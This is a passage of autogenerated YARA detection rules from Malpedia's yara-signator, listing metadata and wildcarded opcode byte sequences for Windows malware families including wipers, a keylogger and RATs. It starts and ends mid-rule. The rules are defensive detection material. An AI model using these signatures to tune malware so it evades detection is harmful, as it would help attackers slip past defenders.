		$sequence_19 = { e9???????? 8b4508 e9???????? 8b45ec 83e001 0f840c000000 8365ecfe }
		$sequence_20 = { e9???????? 8d4dd0 e9???????? 8d4de0 e9???????? 8d4db8 e9???????? }
		$sequence_21 = { e9???????? 8d4ddc e9???????? 8b45d4 83e001 }
		$sequence_22 = { 8365d4fe 8d4da4 e9???????? c3 8d4dbc e9???????? }
	condition:
		7 of them and filesize < 1449984
}

rule MALPEDIA_Win_Mistcloak_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bcb29aaa-c37e-5c55-be1e-5d06aa41cabd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistcloak"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mistcloak_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "6962ced189f702e03fc18d236cee46a2a0844476537e8c819ea6f1c43f9c0922"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b049590500110 f644082801 740b 56 e8???????? 59 8bf0 }
		$sequence_1 = { 660f282d???????? 660f59f5 660f28aa70100110 660f54e5 660f58fe 660f58fc }
		$sequence_2 = { 8b0c8590500110 8b45f8 807c012800 7d46 }
		$sequence_3 = { 0f85b1000000 8b4508 dd00 ebc2 c745e418120110 eb19 }
		$sequence_4 = { 6bc618 57 8db8104e0110 57 }
		$sequence_5 = { 7429 83e805 7415 83e801 0f8595010000 c745e408120110 }
		$sequence_6 = { c745e408120110 e9???????? c745e404120110 e9???????? 894de0 c745e404120110 e9???????? }
		$sequence_7 = { 85f6 7420 6bc618 57 8db8104e0110 57 }
		$sequence_8 = { 8bc1 3914c5781a0110 7408 40 }
		$sequence_9 = { 8b45b4 8b0c8590500110 8a043b 03ce 8b75dc 03cb 43 }
	condition:
		7 of them and filesize < 196608
}

rule MALPEDIA_Win_Remcom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "01102b96-17a1-5040-b86b-1c004c22e442"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remcom_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "6c8707261db4e6b23e09ce2152b2182b004699b6aaba00688b2722f030d121d2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a02 68???????? ffd7 8d4df4 51 6aff 6a00 }
		$sequence_1 = { 033485e0fc4000 c745e401000000 33db 395e08 7536 6a0a e8???????? }
		$sequence_2 = { e8???????? 8be5 5d c3 53 56 8d95f8feffff }
		$sequence_3 = { 56 8b7508 57 8b7d0c 6a44 }
		$sequence_4 = { ff15???????? 6a00 6a00 6a01 8d4de0 }
		$sequence_5 = { 33c0 57 8945f8 8945fc 6a01 8d45e0 }
		$sequence_6 = { 8b7508 57 8b7d0c 6a44 8d85a0feffff }
		$sequence_7 = { 8bf8 3bfb 746a 56 68ff010f00 68???????? }
		$sequence_8 = { ffd7 8945f0 eb51 33db 391e 763d }
		$sequence_9 = { 50 6814120000 8d8de8edffff 51 56 }
	condition:
		7 of them and filesize < 155648
}

rule MALPEDIA_Win_Gtpdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d10f6aa2-6be7-55e5-960c-d33fee6e5026"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gtpdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gtpdoor_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "a4a736e9e4f2e881c8a24f738313b79d8075e540890609147499da030ceac3c8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fb600 31d0 8801 8045fb01 8345fc01 }
		$sequence_1 = { 0fb600 31d0 8801 8045fb01 }
		$sequence_2 = { fc b932000000 b800000000 f3aa }
		$sequence_3 = { 31d0 8801 8045fb01 8345fc01 }
		$sequence_4 = { 4989c0 be04000000 e8???????? 0fb785acf9ffff 83c020 }
		$sequence_5 = { 8b45cc 66895002 c7042400000000 e8???????? }
		$sequence_6 = { 48833d????????00 4889e5 7416 b800000000 4885c0 740c bf???????? }
		$sequence_7 = { 83e801 03450c 66c7000a20 c6400200 8b450c }
		$sequence_8 = { 4929c4 49c1fc03 4d85e4 741e 31ed }
		$sequence_9 = { c9 c3 55 89e5 83ec18 8b450c 8b5514 }
	condition:
		7 of them and filesize < 4210688
}

rule MALPEDIA_Win_Bruh_Wiper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7c9ba4ef-4fa1-51f0-9221-ba77db229e60"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bruh_wiper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bruh_wiper_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "cbaff4d5b7b91bf6e756e6a62487e97a100f6bd9c2c8d699efaa34252266d183"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a03 6800000040 68???????? ff15???????? 8b1d???????? 8bf8 6a00 }
		$sequence_1 = { e8???????? 83c40c be01080000 0f1f8000000000 6a00 8d85f8fdffff }
		$sequence_2 = { ffd3 83ee01 75e3 8b4dfc 5f 5e }
		$sequence_3 = { ffd7 8d45f0 50 6a06 6a00 6a00 6a00 }
		$sequence_4 = { 66a1???????? 668945f4 a0???????? 56 8845f6 8d45f4 57 }
		$sequence_5 = { 57 ffd3 83ee01 75e3 8b4dfc 5f }
		$sequence_6 = { 50 6a00 6a01 6a13 ffd7 8d45f0 }
		$sequence_7 = { 57 ffd3 6800020000 8d85fcfdffff 6a00 50 e8???????? }
		$sequence_8 = { 83ec10 a1???????? 33c5 8945fc 66a1???????? 668945f4 }
		$sequence_9 = { 57 ffd3 83ee01 75e3 }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Ddkeylogger_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a67b64ba-3a24-5b03-97bb-6fa1fd617831"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkeylogger"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ddkeylogger_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "35bb77ee32a1ee4cf41a3e8133dabb1263e352712bd1dfe36cdbb7e1ce08650b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 88140e 0fb611 feca 88140f 83c102 48 }
		$sequence_1 = { c1eb06 03de 0fb61493 885102 }
		$sequence_2 = { 0fb7f1 57 bfffff0000 c745f400000000 }
		$sequence_3 = { 83c418 8d8de7faffff c745fcffffffff e8???????? 85f6 0f8f14feffff 8b85e0faffff }
		$sequence_4 = { 8bce eb99 53 8b1d???????? 6a00 ffd3 }
		$sequence_5 = { 83c8ff e9???????? 8bc6 c1f805 8bfe 53 8d1c8580ee4500 }
		$sequence_6 = { 83f801 8bc7 7508 8a4c0bff 884c3bff c6043b00 5f }
		$sequence_7 = { c1fa05 8b149580ee4500 c1e006 8d440224 }
		$sequence_8 = { 7448 f7c200f00000 7420 f7c200c00000 740c f7c200800000 0f95c0 }
		$sequence_9 = { 56 ff15???????? 56 8bf8 ff15???????? 3b3d???????? }
	condition:
		7 of them and filesize < 808960
}

rule MALPEDIA_Win_Karagany_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3572ccbc-1c3c-5c06-9653-09cc26e9f425"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.karagany_auto.yar#L1-L111"
		license_url = "N/A"
		logic_hash = "7b1e13963414e6b2e1af9eb1a6f96423af34e9bc7a849bda8fce35a0e1356973"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8945d0 8945d8 8945e0 8945e8 8945ec 8945f4 }
		$sequence_1 = { 8bf8 6a03 57 ffd6 }
		$sequence_2 = { 57 8bf8 6a03 57 }
		$sequence_3 = { 8945d8 8945e0 8945e8 8945ec 8945f4 }
		$sequence_4 = { 6a40 6800300000 6800000300 6a00 }
		$sequence_5 = { 8b4508 0526f8ffff 69c06c010000 034510 }
		$sequence_6 = { 8bec 81ec60060000 53 56 57 33c0 }
		$sequence_7 = { ff15???????? 6a00 53 68???????? }
		$sequence_8 = { 68???????? 8d85a4fdffff 50 ffd6 68???????? }
		$sequence_9 = { 8bd8 2bc7 40 50 57 }
	condition:
		7 of them and filesize < 180224
}

rule MALPEDIA_Win_Anchormtea_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "32582435-d23f-5bf2-99b8-f6c7ec2febef"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormtea"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anchormtea_auto.yar#L1-L158"
		license_url = "N/A"
		logic_hash = "0d56b6ebc1869a5136446b1b05f633dc23ded4ac41169656ca6cd600d19c6d7b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? f7d8 1bc0 83e002 }
		$sequence_1 = { 4883f81f 0f87fd170000 488bce e8???????? 4c8d8b44010000 4c8d05255f0200 }
		$sequence_2 = { 898d68f7ffff 89b564f7ffff 3bd0 7741 }
		$sequence_3 = { 8bc2 c1e81f 03c2 8945fc b8619e426b f7e9 }
		$sequence_4 = { 4533c0 48c7c100000080 897c2420 ff15???????? 85c0 7563 }
		$sequence_5 = { 89442450 8b45dc 89542448 418bd2 }
		$sequence_6 = { 8bd9 4c8d0d69cc0000 b904000000 4c8d0555cc0000 488d15c6af0000 e8???????? }
		$sequence_7 = { 6800010000 ff761c e8???????? ff75e0 668b45cc 6824080000 }
		$sequence_8 = { 4585ff 0f84d3000000 33ff 4d63e7 }
		$sequence_9 = { 83c414 c744241000000000 57 ff15???????? }
		$sequence_10 = { ff15???????? 488bf8 4885c0 7410 33d2 }
		$sequence_11 = { 55 8bec 81ec8c030000 a1???????? 33c5 8945fc ff05???????? }
		$sequence_12 = { c7471c40300010 894714 c7472060300010 c7472480300010 c7472890300010 c7472cb0300010 }
		$sequence_13 = { 51 e8???????? 83c408 8bb70c010000 89b568f7ffff 85f6 0f846c010000 }
		$sequence_14 = { 4c897e10 4903c5 488bcb 4c8d3c12 }
	condition:
		7 of them and filesize < 839680
}

rule MALPEDIA_Win_Innaput_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d86d59ae-6efa-5db2-8e1b-5b4757eca710"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.innaput_rat_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "9400019d5ff97dc8155c2ec12b684baeeb0d9d8ecccb4529f4b2a8b8f06ad889"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffb720060000 8d8f1c060000 51 ffb718060000 }
		$sequence_1 = { 85c0 7427 ffb720060000 8d8f1c060000 51 }
		$sequence_2 = { 8bf8 33c0 893b ab }
		$sequence_3 = { ff15???????? ffb718060000 ff15???????? 85c0 750c ffb71c060000 ff15???????? }
		$sequence_4 = { ff15???????? 85c0 750c ffb71c060000 ff15???????? 57 e8???????? }
		$sequence_5 = { 59 8bc6 3bf3 75ed }
		$sequence_6 = { 751b 53 53 53 }
		$sequence_7 = { ff15???????? 85c0 750c ffb71c060000 ff15???????? }
		$sequence_8 = { 85c0 7413 3bc6 740f 8b4d08 e8???????? 3b450c }
		$sequence_9 = { 2bf1 8a08 884c0616 40 84c9 75f5 }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Victorygate_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ad2b94f4-4fb4-597c-a815-1680fdce8561"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.victorygate_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "f881de762583581b8f9cd5a6d8f43db0e0fda7800670c3d8d7443132f914f29e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8bd0 c645fc08 8d8d68ffffff e8???????? c645fc07 }
		$sequence_1 = { ff75f8 8d8684010000 6a45 50 ff15???????? 85c0 }
		$sequence_2 = { c645dc00 33d2 660fd645e4 8d4ddc e8???????? 68???????? 8d4dc4 }
		$sequence_3 = { ff36 8bcf 50 e8???????? 8b4e08 83c334 83c634 }
		$sequence_4 = { 8d4dc4 c645fc10 e8???????? 0fb64ddc 8bf8 8b45e4 8a17 }
		$sequence_5 = { 56 682a2b0000 ffd0 85c0 7419 50 e8???????? }
		$sequence_6 = { 50 ff7120 ff7128 e8???????? 83c410 85c0 7415 }
		$sequence_7 = { 8b45f0 8d0c90 8b01 85c0 740d 395804 7408 }
		$sequence_8 = { e8???????? 68???????? 8d4dc4 c645fc07 e8???????? 0fb64ddc 8bf8 }
		$sequence_9 = { 668908 8bcf c7401000000000 c7401407000000 8d45b0 50 660fd645c0 }
	condition:
		7 of them and filesize < 1209344
}

rule MALPEDIA_Win_Hermes_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "40977080-f0db-509f-ad36-9106e881ac17"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermes_auto.yar#L1-L110"
		license_url = "N/A"
		logic_hash = "ec38569492fc62621d2bfb5ebe2db77f57521b3e9d7ddcf1c5d737c6a9cf9c68"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33d2 6a79 59 f7f1 }
		$sequence_1 = { 6a01 6810660000 ff75fc ff15???????? }
		$sequence_2 = { 50 8b4508 83c801 50 }
		$sequence_3 = { 83c801 50 6a01 ff75fc }
		$sequence_4 = { 7508 6a01 ff15???????? 8be5 5d c3 }
		$sequence_5 = { 7508 6a01 ff15???????? 8be5 5d }
		$sequence_6 = { 6a04 6800100000 6888130000 6a00 ff15???????? }
		$sequence_7 = { 83c801 50 6a01 ff75fc ff15???????? }
		$sequence_8 = { 50 6a01 6810660000 ff75fc ff15???????? }
		$sequence_9 = { 7508 6a01 ff15???????? 8d45fc }
	condition:
		7 of them and filesize < 7192576
}

rule MALPEDIA_Win_Bundestrojaner_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "47ea5615-8136-5cb4-9bef-7286571c39f9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bundestrojaner_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "fd1e7fa09fb34d70736eb8553b933219d912c7ea6e3c9d3818f4d8762292bdc7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 7e15 8bc5 2bdd d90403 d800 41 }
		$sequence_1 = { 3bca 7e5a 8b4e10 85c9 7443 c1f803 8d542801 }
		$sequence_2 = { 33d5 89a8c4000000 33f2 89542418 8990c8000000 8bd6 }
		$sequence_3 = { 895610 89560c 895614 7415 8b44240c 3bc2 740d }
		$sequence_4 = { 8b7e1b 8ac8 80e902 f6d9 1bc9 2c02 83e102 }
		$sequence_5 = { 740f 6a00 6a00 6a27 8bc8 e8???????? eb02 }
		$sequence_6 = { 8b44243c c68424c800000002 8b4830 51 8bce e8???????? }
		$sequence_7 = { 8bcf 8b442418 8d1476 896c2460 f7d9 8bac2430010000 83e103 }
		$sequence_8 = { 50 8986b4000000 e8???????? 83c420 b802000000 89bec0000000 89bec4000000 }
		$sequence_9 = { 50 e8???????? 8b4c2410 8b542408 51 50 }
	condition:
		7 of them and filesize < 729088
}

rule MALPEDIA_Win_Mbrlock_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "278f7834-90b2-5397-9ece-a797760d8d62"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mbrlock_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "f922ef8df18c5fa1824f3d97da8882716cabf76bff393f438d1827b2c64b4a0e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 663d0500 7445 668bce 668bd0 66c1e90a 66c1ea0a }
		$sequence_1 = { 8965f0 8b4708 8975ec 85c0 c745fc00000000 7422 50 }
		$sequence_2 = { e8???????? 8d4d8c c745fcffffffff e8???????? b801000000 8b4df4 64890d00000000 }
		$sequence_3 = { 6685d2 740c 33c9 663bf0 0f94c1 }
		$sequence_4 = { 85f6 7407 8d4608 85c0 7517 8d442410 }
		$sequence_5 = { 6a00 52 57 50 ff5624 8bf8 85ff }
		$sequence_6 = { 83c410 8b45ec 8d4e24 50 53 }
		$sequence_7 = { c744242044764a00 8d4c2420 6a01 8d542444 51 52 8bce }
		$sequence_8 = { 5b 0f94c0 81c480010000 c3 5f 5e 33c0 }
		$sequence_9 = { 7409 53 e8???????? 83c404 68010100a0 6a00 }
	condition:
		7 of them and filesize < 2031616
}

rule MALPEDIA_Win_Hermeticwiper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "26ab54c0-79a4-58b9-ba8b-0324b07af9f4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwiper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermeticwiper_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "0d202d4a6b1fd92490b3e5fc04dc1683d573bc3458e17749b676604435662c74"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83d1ff 894dbc 03ff 83cf01 ebe7 8b75d4 }
		$sequence_1 = { 68???????? eb2f ff15???????? 3d7e040000 0f8522040000 837df800 }
		$sequence_2 = { 0f86fe000000 8b55d0 8d4630 8945f8 6690 8b00 85c0 }
		$sequence_3 = { 53 51 51 52 b980000000 e8???????? 8b4c2428 }
		$sequence_4 = { 8845fb 84e4 0f856dfeffff 5f 5e 5b 8be5 }
		$sequence_5 = { 8b4e10 8b7e08 03cf 8b560c 8b4614 13c2 89542418 }
		$sequence_6 = { 83ee02 eb02 8bf3 397df0 7531 6a5c 6a00 }
		$sequence_7 = { 8b401c 83c118 03c1 8b4c2414 89442424 3bf0 736e }
		$sequence_8 = { 57 56 ff15???????? 85c0 752a ff15???????? 33ff }
		$sequence_9 = { 5e b801000000 5b 8be5 5d c20c00 8b7510 }
	condition:
		7 of them and filesize < 247808
}

rule MALPEDIA_Win_Darkbit_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "376307d8-f183-5168-b430-3c79d528468e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkbit"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkbit_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "3345b8391d558255e8d42c00573b9e9bb419b0424b0535da1de4bc7f3c804298"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 488b8c2480050000 48894808 833d????????00 7515 488b8c24b0210000 488908 }
		$sequence_1 = { 488d0505c50f00 4889d9 4889fb 4889f7 4c89c6 e8???????? 488b542450 }
		$sequence_2 = { eb1a 440fb64c341e 418d1411 8d5293 88543c1e 448844341e 4883c002 }
		$sequence_3 = { 4c8d4301 4c39c6 7331 488d05052b1700 4889d9 4889fb 4889f7 }
		$sequence_4 = { eb1c 4889c7 488b8c24d0200000 e8???????? 488d3d4f2a2200 e8???????? 6690 }
		$sequence_5 = { e8???????? 4889842460100000 48899c2400010000 488b842480000000 48c7c3ffffffff e8???????? 48899c2480140000 }
		$sequence_6 = { e8???????? 488d0546a23800 bb26000000 e8???????? 90 4889442408 48895c2410 }
		$sequence_7 = { e8???????? 48898424581c0000 48895c2428 488b0d???????? 48898c24980e0000 488d0547db0700 e8???????? }
		$sequence_8 = { 488b8c24a8060000 48894808 833d????????00 7514 488b8c24d8220000 488908 488905???????? }
		$sequence_9 = { 4d89d3 49c1ea2a 4983fa40 0f83d6060000 4c8d25576e5200 4f8b14d4 418402 }
	condition:
		7 of them and filesize < 11612160
}

rule MALPEDIA_Win_Misha_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7ba08020-4181-5ded-9bc0-49b98b3d2547"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.misha"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.misha_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "55176526d6c66aba41e971557ded1fe9cdb654b2ecbb0584caf24e3a0c3f703a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0d19000200 50 8b4318 0508010000 50 }
		$sequence_1 = { 6a08 59 8bc3 c1e310 0bc3 6a18 8bfa }
		$sequence_2 = { ff75c8 8b4314 83c070 50 8b8578ffffff 48 48 }
		$sequence_3 = { 50 8b4314 05d8000000 50 ff75ec 8b7308 }
		$sequence_4 = { 50 8b4318 0508020000 50 ff730c e8???????? }
		$sequence_5 = { 8945e8 8b4510 8b00 8945e4 8d45fc }
		$sequence_6 = { c78550feffff18181818 c78554feffff18181818 c78558feffff18181819 c7855cfeffff19191919 c78560feffff19191919 c78564feffff19191919 c78568feffff19191919 }
		$sequence_7 = { 6a00 e8???????? 83c40c 8b45f4 8a4d0c 884818 8b45f4 }
		$sequence_8 = { 8d85f8f9ffff 50 8d85e0f9ffff e8???????? 83c40c 0fb6c0 }
		$sequence_9 = { 8d8568ffffff 50 6a01 6a02 8b4314 83c008 50 }
	condition:
		7 of them and filesize < 710656
}

rule MALPEDIA_Win_Mechanical_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f673020e-2414-508c-b896-8bd1153a2a5f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mechanical"
